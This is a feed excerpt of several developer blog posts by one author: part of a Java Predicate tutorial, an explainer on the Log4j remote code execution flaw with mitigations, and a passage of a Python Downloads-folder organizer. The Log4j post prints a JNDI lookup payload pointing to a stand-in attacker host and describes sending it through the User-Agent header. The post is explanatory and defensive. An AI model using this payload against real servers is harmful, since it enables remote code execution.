&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Predicate&amp;lt;Integer&amp;gt; checkIfPositive = num -&amp;gt; (num &amp;gt; 0);
Predicate&amp;lt;Integer&amp;gt; checkIfSmallerThan100 = num -&amp;gt; (num &amp;lt; 100);

System.out.println(checkIfPositive.and(checkIfSmallerThan100).test(60)); // Output: true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above example, the “and” operator will logically work as ” checkIfPositive AND checkIfSmallerThan100″&lt;/p&gt;

&lt;p&gt;This particular case might be helpful in validating if valid age&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;or&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It represents the logical OR operator (like || in Java) for predicate outputs.&lt;/p&gt;

&lt;p&gt;Let’s look below:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Predicate&amp;lt;Integer&amp;gt; greaterThan18 = num -&amp;gt; (num &amp;gt; 18);
Predicate&amp;lt;Integer&amp;gt; lessThan64 = num -&amp;gt; (num &amp;lt; 64); 

System.out.println(lessThan64.or(greaterThan18).test(21)); // Output: true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In the above example, the “or” operator will logically work as ” lessThan64 OR greaterThan18″&lt;/p&gt;

&lt;p&gt;But why would we even use them?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Common uses for Predicate&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--D1EkC919--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2017/06/10/07/18/list-2389219_960_720.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--D1EkC919--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2017/06/10/07/18/list-2389219_960_720.png" alt="List, Icon, Symbol, Paper, Sign, Flat, Note, Form, Mark" width="720" height="720"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Streams allMatch and anyMatch&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Predicate gets even powerful with Java 8’s streams.&lt;/p&gt;

&lt;p&gt;Suppose you are getting list of Persons from a list somewhere and you need to verify if all the Person have required access to continue for some resource.&lt;/p&gt;

&lt;p&gt;Here’s how that will look with Predicate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;class Person { // Point 1 

        //assume getters and setters
        private Integer pkId;
        private String name; 
        private String accessLevel;

        public String getAccessLevel() {
                return this.accessLevel;
        }
}

public class MainApp {

   public static void main(String[] args) {

      List&amp;lt;Person&amp;gt; allPeople = getListOfPersons);
      Predicate&amp;lt;Person&amp;gt; checkAccessLevel = p -&amp;gt;  p.getAccessLevel().equals("ADMIN");
      boolean toAllow = list.stream().allMatch(checkAccessLevel); // Point 2
      if(alltoAllow) 
        System.out.println("Allowed");
      else
        System.out.println("Denied access");
    }

}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Point 1: Let this dummy Person object serve as our model. Note, that we are assuming that the private variables have properly named getters and setters&lt;/p&gt;

&lt;p&gt;Point 2: In combination with streams, Predicate help us avoid boilerplate code to iterate through each object and do the string comparison.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Validation pattern&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--sXxWzs9q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2016/05/30/14/23/detective-1424831_960_720.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--sXxWzs9q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn.pixabay.com/photo/2016/05/30/14/23/detective-1424831_960_720.png" alt="Detective, Searching, Man, Search, Magnifying" width="713" height="720"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There’s a very innovative validator pattern &lt;a href="https://dzone.com/articles/fail-fast-validations-using"&gt;implementation at Dzone&lt;/a&gt; that clearly explains the validation pattern.&lt;/p&gt;

&lt;p&gt;Here’s the cookie cutter version:&lt;/p&gt;

&lt;p&gt;Suppose there are several serious of validation you need to do at the backend(most commonly done for forms).&lt;/p&gt;

&lt;p&gt;In that case instead of writing code like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--D2SnO9sy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/image-2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--D2SnO9sy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/image-2.png" alt="" width="466" height="192"&gt;&lt;/a&gt;Snippet from DZone&lt;/p&gt;

&lt;p&gt;We can move to writing validations like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--WiQn62hR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/image-3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WiQn62hR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://mukundmadhav.com/wp-content/uploads/2022/01/image-3.png" alt="" width="628" height="164"&gt;&lt;/a&gt;Snippet from DZone&lt;/p&gt;

&lt;p&gt;Now what’s the profit?&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; The validations are legible and there’s a reduction in redundant verbose code&lt;/li&gt;
&lt;li&gt; We can keep on dynamically adding more conditions and they would still be understandable, thanks to, separation done by “and”/”or” methods&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you are still here, congratulations! Now let’s enter Functions. Not that kind, the interfaces kind.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sidenote&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Similar to Predicate, there are BiPredicate.&lt;/p&gt;

&lt;p&gt;They, like the name implies, accept two instead of one parameter and follow all the other characteristics of Predicate.&lt;/p&gt;

&lt;p&gt;That is all for this post. We'll cover more popular interfaces in the next post. &lt;/p&gt;

&lt;p&gt;Happy coding 😃&lt;/p&gt;

</description>
      <category>java</category>
      <category>programming</category>
      <category>beginners</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Massive Log4j Java vulnerability: What it is &amp; how to fix it?</title>
      <dc:creator>Mukund Madhav</dc:creator>
      <pubDate>Sat, 11 Dec 2021 17:04:48 +0000</pubDate>
      <link>https://dev.to/mukundmadhav/massive-log4j-java-vulnerability-what-it-is-how-to-fix-it-h7h</link>
      <guid>https://dev.to/mukundmadhav/massive-log4j-java-vulnerability-what-it-is-how-to-fix-it-h7h</guid>
      <description>&lt;p&gt;Found on December 11 through an POC, Log4J’s vulnerability is one of the biggest vulnerabilities we have found. This will affect tens of thousands of enterprise websites running on Java. Let’s go through, what happened and how to fix it?&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Log4J?
&lt;/h2&gt;

&lt;p&gt;Log4J is an extremely popular open-sources library used in Java to manage application logging. It is an extremely popular library among Java developers because of how simple it makes logging in Java.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What does zero-day vulnerability mean?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This means the developer has “zero days” to fix the bug and this can affect the systems immediately.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Figtsejwbzo25dld3k2j7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Figtsejwbzo25dld3k2j7.png" alt="Apache log4j"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What does this log4j vulnerability do?
&lt;/h2&gt;

&lt;p&gt;This is a Remote Code Execution vulnerability, meaning external malicious code can run on the server with it.&lt;/p&gt;

&lt;p&gt;You might think how can a logging library help in remote code execution? Well, the reason why this is happening is a feature, present in Log4J. It enables log4J to actually execute Java code. This is enabled through something called JNDI.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is JNDI?
&lt;/h2&gt;

&lt;p&gt;JNDI stands for Java Naming and Directory Interface. It is an API that allows applications to check on services in a resource-independent way. This has several uses — for instance, it enables access to Java resources without exposing the resources or path to them.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb0z53r4zvw7f5qra0aqn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb0z53r4zvw7f5qra0aqn.png" alt="JNDI"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  How JNDI works
&lt;/h2&gt;

&lt;p&gt;Now, in case of log4j, when it sees a JNDI reference in its logs, it will actually go to the resource location and fetch what it needs to resolve the JNDI variable and execute it.&lt;br&gt;
And in the process of fetching the resource (LDAP resource), it can download remote classes and execute them!&lt;/p&gt;

&lt;p&gt;So, someone can inject something like this in logs and the server would be compromised:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;${jndi:ldap://hacker.com/hack}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now obvious question, how can you know what is getting logged? Because if you pass something and that isn’t logged, the attack is useless, right?&lt;/p&gt;

&lt;p&gt;One of the most common things that gets logged are User-Agents (which helps server identify the clients’ OS, browser, etc.).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdifuwpuy8f1kj51ulx4w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdifuwpuy8f1kj51ulx4w.png" alt="Java User Agents"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, if we can change the User-Agent in the request header to our malicious JNDI and if the User Agent is logged, remote code would be executed on the server.&lt;/p&gt;

&lt;p&gt;There you go. Hacked 101 🎃&lt;/p&gt;

&lt;h2&gt;
  
  
  Who are affected?
&lt;/h2&gt;

&lt;p&gt;Virtually every company using Java and log4J… which might be most of the enterprise customers.&lt;/p&gt;

&lt;p&gt;As of writing this, Apple, Amazon, Twitter, Cloudflare, Steam, Tencent, Baidu are acknowledged to be vulnerable. But most probably, the real number is much more.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;For more on Java and web dev. let's connect on Twitter, &lt;a href="https://twitter.com/mukundmadhav02" rel="noopener noreferrer"&gt;Mukund Madhav&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  So, what’s the fix?
&lt;/h2&gt;

&lt;p&gt;There are currently four solutions floating around:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; Upgrade Log4J to 2.15.0. Here is the &lt;a href="https://logging.apache.org/log4j/2.x/download.html" rel="noopener noreferrer"&gt;download link for Log4J.&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt; Set this system level property
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;log4j2.formatMsgNoLookups=true
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This will disable the JNDI lookup feature. This will work if you have log4j v2.1 - 2.14.1&lt;/p&gt;

&lt;p&gt;3. Delete the JNDI class file. It will be named JdniLookup.class and should be inside &lt;em&gt;org/apache/logging/log4j/core/lookup/JndiLookup.class&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;4. For versions 2.1 to 2.14.1, set the following environment variable to force change&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LOG4J_FORMAT_MSG_NO_LOOKUPS="true"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it. Safe to say this will go down as one of the most obvious (but hopefully not much exploited in future) bug.&lt;/p&gt;

&lt;p&gt;Not a cool day to say,&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F519%2F0%2Ab-ffFOLdpY9pWBzG.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F519%2F0%2Ab-ffFOLdpY9pWBzG.png" alt="Java devices"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Java runs on 3 billion devices&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Happy fixing 😃&lt;/p&gt;

</description>
      <category>java</category>
      <category>webdev</category>
      <category>security</category>
      <category>programming</category>
    </item>
    <item>
      <title>Automatically organize downloads folder with a simple python script</title>
      <dc:creator>Mukund Madhav</dc:creator>
      <pubDate>Sat, 20 Nov 2021 16:58:45 +0000</pubDate>
      <link>https://dev.to/mukundmadhav/automatically-organize-downloads-folder-with-a-simple-python-script-mka</link>
      <guid>https://dev.to/mukundmadhav/automatically-organize-downloads-folder-with-a-simple-python-script-mka</guid>
      <description>&lt;p&gt;Automatically organize downloads folder with a simple python script&lt;/p&gt;

&lt;h2&gt;
  
  
  Recently I opened my downloads folder to find pictures from my last trip and here’s what I found.
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F686%2F1%2APVxEScdb8DEzrBacX0_ZTw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmiro.medium.com%2Fmax%2F686%2F1%2APVxEScdb8DEzrBacX0_ZTw.png" alt="Downloads folder"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Randomly assorted 279 files with super slow Windows search. Needless to say, Marie Kondo would be highly disappointed in me.&lt;/p&gt;

&lt;p&gt;This resulted in an epiphany that I needed to declutter my Downloads folder. Being the kind of lazy person I am, instead of manually cherry-picking the files, I created a python script to declutter the downloads folder.&lt;/p&gt;

&lt;p&gt;Like any good transformation result, here’s a before and after:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl4lek1uvw5aea7888ia7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fl4lek1uvw5aea7888ia7.png" alt="Pre python download transformation"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Pre-breakthrough Downloads folder&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvheufi9osmst1hb6jgk5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvheufi9osmst1hb6jgk5.png" alt="Mukund Madhav - Post Python downloads transformation"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Post Script run screenshot&lt;/p&gt;

&lt;p&gt;Now the cool transformation picture is out of the way, let’s dive into the juicy🧃 coding stuff.&lt;/p&gt;

&lt;p&gt;Directly want the code? Here’s the Github project link to skip the article😜:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev.to%2Fassets%2Fgithub-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/mukundmadhav" rel="noopener noreferrer"&gt;
        mukundmadhav
      &lt;/a&gt; / &lt;a href="https://github.com/mukundmadhav/declutter-downloads-folder-script" rel="noopener noreferrer"&gt;
        declutter-downloads-folder-script
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Python script to declutter the Downloads folder into the appropriate category every Weekend
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Downloads Folder Organizer&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/beddec7da78ca835a072406f3cc845b7d638eb2d7cefba937959443abb082f23/68747470733a2f2f692e696d6775722e636f6d2f48326b4b75756f2e706e67"&gt;&lt;img src="https://camo.githubusercontent.com/beddec7da78ca835a072406f3cc845b7d638eb2d7cefba937959443abb082f23/68747470733a2f2f692e696d6775722e636f6d2f48326b4b75756f2e706e67" alt="Organise downloads folder python"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Hi! This repo is for python script to declutter Downloads folder into appropriate category every Weekend. Basic configs are explained below.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Detailed Explanation 🔎&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;If you'd like to read along a walkthrough what each piece of code does, and how to configure various elements in a detailed fashion, follow along the blog for the same
&lt;a href="https://medium.com/@mukundmadhav/organize-your-downloads-folder-with-a-simple-python-script-23e02a202502" rel="nofollow noopener noreferrer"&gt;Organize your Downloads folder with a simple python script&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Basic Configs 👩‍💻&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;The file explorer is accessible using the button in left corner of the navigation bar. You can create a new file by clicking the &lt;strong&gt;New file&lt;/strong&gt; button in the file explorer. You can also create folders by clicking the &lt;strong&gt;New folder&lt;/strong&gt; button.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Change Downloads folder location: Change the path in downloads_path variable&lt;/li&gt;
&lt;li&gt;Add file types/extensions: Add/remove items in folder_names dictionary&lt;/li&gt;
&lt;li&gt;Change file location for cron to run: Change folder path in the bat file&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Well... 😅&lt;/h2&gt;

&lt;/div&gt;
&lt;p&gt;That is it. If…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/mukundmadhav/declutter-downloads-folder-script" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;&lt;strong&gt;First Step: Identify the type of files&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi1e0l7g9gfnkfsphk7cs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi1e0l7g9gfnkfsphk7cs.png" alt="Python Script to Organize Download folder — files"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;First thing before we make a Python script, we need to understand what types of extensions correspond to what file types.&lt;/p&gt;

&lt;p&gt;A quick Google search landed on &lt;a href="https://www.computerhope.com/issues/ch001789.htm" rel="noopener noreferrer"&gt;Computer Hope&lt;/a&gt; and had a detailed breakdown of the file types.&lt;/p&gt;

&lt;p&gt;For my particular organizer script here’s the division of file types I’ll be using:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  Audio: .aif .cda , .mid, .midi , .mp3 , .mpa, .ogg, .wav, .wma&lt;/li&gt;
&lt;li&gt;  Compressed files: .7z, .deb , pkg, .rar , .rpm , tar.gz , .z , zip&lt;/li&gt;
&lt;li&gt;  Code: .js, .jsp, .html, .ipynb, .py, .java, .css&lt;/li&gt;
&lt;li&gt;  Documents: .ppt, .pptx, .pdf, .xls, xlsx, .doc, .docx, .txt, .tex&lt;/li&gt;
&lt;li&gt;  Images: .bmp , .gif .ico , .jpeg, .jpg , .png ,.svg , .tif, .tiff&lt;/li&gt;
&lt;li&gt;  Softwares: .apk, .bat , .bin , exe , .jar , .msi , .py&lt;/li&gt;
&lt;li&gt;  Videos: .3gp , .avi, .flv, .h264, .mkv , .mov , .mp4, .mpg, .mpeg , .wmv&lt;/li&gt;
&lt;li&gt;  Others: All other extensions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Now that we have our 8 folder names, let’s start coding. 🖥&lt;/p&gt;

&lt;p&gt;First, let’s declare the folder names in Python.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;folder_names = {
"Audio": {'aif','cda','mid','midi','mp3','mpa','ogg','wav','wma'},
"Compressed":{'7z','deb','pkg','rar','rpm', 'tar.gz','z', 'zip'},
'Code':{'js','jsp','html','ipynb','py','java','css'},
'Documents':{'ppt','pptx','pdf','xls', 'xlsx','doc','docx','txt', 'tex', 'epub'},
'Images':{'bmp','gif .ico','jpeg','jpg','png','jfif','svg','tif','tiff'},
'Softwares':{'apk','bat','bin', 'exe','jar','msi','py'},
'Videos':{'3gp','avi','flv','h264','mkv','mov','mp4','mpg','mpeg','wmv'},
'Others': {'NONE'}
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Second step: Get all the files from the Downloads Folder&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqv8aev3tlar97dep099g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqv8aev3tlar97dep099g.png" alt="Declutter your Downloads folder"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that we have the file types. Time to get the paths of files or folders we want to move.&lt;/p&gt;

&lt;p&gt;We can do that by simply listing all the items in the Downloads folder and sorting them by whether they are a file or not&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;downloads_path = r"C:\Users\casia\Downloads"
onlyfiles = [os.path.join(downloads_path, file) 
        for file in os.listdir(downloads_path) 
            if os.path.isfile(os.path.join(downloads_path, file))]
onlyfolders = [os.path.join(downloads_path, file) 
        for file in os.listdir(downloads_path) 
            if not os.path.isfile(os.path.join(downloads_path, file))]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we have the names of files that are either only folders or files, we need to move them. But before moving the files, we need to create a map so that each extension is mapped to its respective type.&lt;/p&gt;

&lt;p&gt;In case we find an item whose file type we have not accounted for, we will move it to the ‘Others’ folder.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;extension_filetype_map = {extension: fileType 
        for fileType, extensions in folder_names.items() 
                for extension in extensions }
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now let’s go ahead and create the folder. We know that we will run this script as a cron so we need to make sure if check if a folder does not exist, then only we create the folder.&lt;/p&gt;

&lt;p&gt;For the list of folder names that we have to create we can get them from the folder name mapping, we had created earlier.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;folder_paths = [os.path.join(downloads_path, folder_name) 
        for folder_name in folder_names.keys()]
[os.mkdir(folderPath) 
        for folderPath in folder_paths if not os.path.exists(folderPath)]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Third Step: Sort the files in their respective folder&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Falqolw23ln809dro7zu0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Falqolw23ln809dro7zu0.png" alt="Script to declutter Downloads folder — sorting"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We have identified the file/folder paths. We have created a directory for the Downloads folder. The next step on the script, move files to revolve location.&lt;/p&gt;

&lt;p&gt;To assist in this, we will create a helper function that will take in the old file path and return us to the new path. This new path will have the folder name in which we are to move later.&lt;/p&gt;

&lt;p&gt;We will also handle unknown file types here and send them to the ‘Others’ folder.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;def new_path(old_path):
extension = str(old_path).split('.')[-1]
amplified_folder = extension_filetype_map[extension] if extension in extension_filetype_map.keys() else 'Others'
final_path = os.path.join(downloads_path,amplified_folder, str(old_path).split('\\')[-1])
return final_path
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s quickly now move the files to their relevant location by iterating through the files list loop.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Path(eachfile).rename(new_path(eachfile)) for eachfile in onlyfiles]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Files are covered. They are organized in their various folders in Downloads. The next step does the same for unknown folders.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Path(onlyfolder).rename(os.path.join(downloads_path,'Others', str(onlyfolder).split('\\')[-1])) 
        for onlyfolder in onlyfolders 
                if str(onlyfolder).split('\\')[-1] not in folder_names.keys()]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Fourth Step: Make a cron bat file&lt;/strong&gt;&lt;/p&gt;

